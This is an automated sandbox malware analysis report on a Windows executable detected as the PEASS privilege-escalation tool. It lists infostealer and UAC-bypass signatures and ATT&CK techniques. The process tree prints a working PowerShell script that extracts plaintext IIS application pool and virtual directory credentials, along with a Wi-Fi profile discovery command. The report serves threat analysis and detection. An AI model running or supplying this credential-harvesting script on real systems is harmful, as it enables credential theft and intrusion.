Analysis
- max time kernel
149s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
28/10/2026, 10:08
General
- Target 2026-10-28_7a3c00a939c752d1eb167528cc51a545_darkgate_elex_glassworm_hijackloader_icedid_silence.exe
- Size 11.1MB
- Sample261028-l6afpszycx
- SHA256 4bbd758dbf54597bf52f5bee80da37620232e7cc30d65d546190c64ee8698f29
Malware Config
Signatures
- Family: PEASS, PEASS-ng, Peas
PEASS is an open-source tool for privilege escalation.
- Detects PEASS hacktool 2 IoCs
- Custom signatureDetects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
- Custom signatureDetects executables containing URLs to raw contents of a Github gist 2 IoCs
- Custom signatureDetects executables manipulated with Fody 2 IoCs
- Custom signatureDetects executables packed with Dotfuscator 2 IoCs
- Custom signatureDetects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
- Custom signatureDetects executables referencing many confidential data stores found in browsers, mail clients, crypt 2 IoCs
- Custom signaturedetects Windows exceutables potentially bypassing UAC using fodhelper.exe 2 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Modifies system certificate store 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-10-28_7a3c00a939c752d1eb167528cc51a545_darkgate_elex_glassworm_hijackloader_icedid_silence.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-28_7a3c00a939c752d1eb167528cc51a545_darkgate_elex_glassworm_hijackloader_icedid_silence.exe"1⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\systeminfo.exe"systeminfo.exe"2⤵
- Gathers system information
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C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Modify Registry
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
sqlite.interop.dll
memory/4344-25-0x000001FD62720000-0x000001FD62728000-memory.dmp
memory/4344-2-0x000001FD5FE40000-0x000001FD60966000-memory.dmp
memory/4344-1-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-5-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-6-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-3-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-10-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-11-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-12-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-13-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-14-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-15-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-16-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-17-0x000001FD627B0000-0x000001FD627FA000-memory.dmp
memory/4344-18-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-19-0x000001FD7B4E0000-0x000001FD7B594000-memory.dmp
memory/4344-0-0x00007FFFBD97F000-0x00007FFFBD980000-memory.dmp
memory/4344-20-0x000001FD62870000-0x000001FD6287A000-memory.dmp
memory/4344-32-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-22-0x000001FD60E40000-0x000001FD60E48000-memory.dmp
memory/4344-24-0x000001FD60E30000-0x000001FD60E3A000-memory.dmp
memory/4344-23-0x000001FD62880000-0x000001FD62898000-memory.dmp
memory/4344-21-0x000001FD628B0000-0x000001FD628D6000-memory.dmp
memory/4344-27-0x000001FD628E0000-0x000001FD628F8000-memory.dmp
memory/4344-28-0x000001FD7B770000-0x000001FD7B932000-memory.dmp
memory/4344-29-0x000001FD7BE70000-0x000001FD7C398000-memory.dmp
memory/4344-30-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-31-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-26-0x000001FD60E10000-0x000001FD60E1A000-memory.dmp
memory/4344-39-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4344-40-0x000001FD7DB20000-0x000001FD7E646000-memory.dmp
memory/4344-41-0x000001FD7BD90000-0x000001FD7BDE0000-memory.dmp
memory/4344-42-0x000001FD7BD40000-0x000001FD7BD5E000-memory.dmp
memory/4344-43-0x000001FD7BD70000-0x000001FD7BD7A000-memory.dmp
memory/4344-48-0x00007FFFBD7F0000-0x00007FFFBE194000-memory.dmp
memory/4364-46-0x0000014C35B20000-0x0000014C35B42000-memory.dmp